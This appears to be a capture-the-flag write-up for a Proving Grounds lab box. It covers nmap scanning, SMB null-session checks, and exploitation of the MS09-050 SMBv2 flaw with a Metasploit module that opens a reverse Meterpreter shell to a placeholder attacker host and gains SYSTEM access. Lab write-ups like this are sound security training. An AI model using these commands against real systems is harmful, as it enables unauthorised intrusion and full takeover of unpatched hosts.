Internal Writeup - Proving Grounds

Easy Windows

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

The Husky Hacker

sysadmin

Internal is an unpatched Windows Server 2008 SP1 host where the SMBv2 negotiate function index overflow (MS09-050, CVE-2009-3103) gives an unauthenticated SYSTEM shell in a single step.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint services.

┌──(kali㉿kali)-[~]

└─$ sudo nmap -p- -sCV $TARGET_IP

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.0.6001
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server (R) 2008 Standard SP1 (workgroup: WORKGROUP)
3389/tcp  open  ms-wbt-server Microsoft Terminal Service
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0
49152-49158/tcp open msrpc    Microsoft Windows RPC
<snip>
| smb-os-discovery:
|   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1
|_  Computer name: internal

An old Windows Server 2008 SP1 host with SMB, RPC, and RDP exposed, no web service to attack. SMB is the only realistic foothold.

Enumeration

SMB null session

Check what unauthenticated and guest access reveal.

┌──(kali㉿kali)-[~]

└─$ nxc smb $TARGET_IP -u '' -p '' --shares

┌──(kali㉿kali)-[~]

└─$ nxc smb $TARGET_IP -u 'guest' -p '' --shares

SMB  $TARGET_IP  445  INTERNAL  [*] Windows Server (R) 2008 Standard 6001 SP1 x32 (signing:False) (SMBv1:True) (Null Auth:True)
SMB  $TARGET_IP  445  INTERNAL  [+] internal\:
SMB  $TARGET_IP  445  INTERNAL  [-] Error enumerating shares: STATUS_ACCESS_DENIED
SMB  $TARGET_IP  445  INTERNAL  [-] internal\guest: STATUS_ACCOUNT_DISABLED

Explain command

--shares

List the SMB shares reachable with the given credentials.

Null sessions are allowed and SMBv1 is enabled, but share enumeration and the guest account are both locked down. SMBv1 on an unpatched Windows Server 2008 SP1 host is a strong signal for a known SMB vulnerability.

Exploitation

MS09-050 SMB2 negotiate function index overflow

Metasploit ships a reliable exploit for this exact SMBv2 negotiate vulnerability (CVE-2009-3103).

msf6 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

msf6 > set rhosts $TARGET_IP

msf6 > set lhost $ATTACKER_IP

msf6 > run

[*] Started reverse TCP handler on $ATTACKER_IP:4444
[*] $TARGET_IP:445 - Connecting to the target ($TARGET_IP:445)...
[*] $TARGET_IP:445 - Sending the exploit packet (952 bytes)...
[*] $TARGET_IP:445 - Waiting up to 180 seconds for exploit to trigger...
[*] Sending stage (199238 bytes) to $TARGET_IP
[*] Meterpreter session 1 opened ($ATTACKER_IP:4444 -> $TARGET_IP:49159)

meterpreter > shell
Process 2584 created.

The negotiate function index overflow lands straight in a SYSTEM-level shell, no separate privilege escalation needed.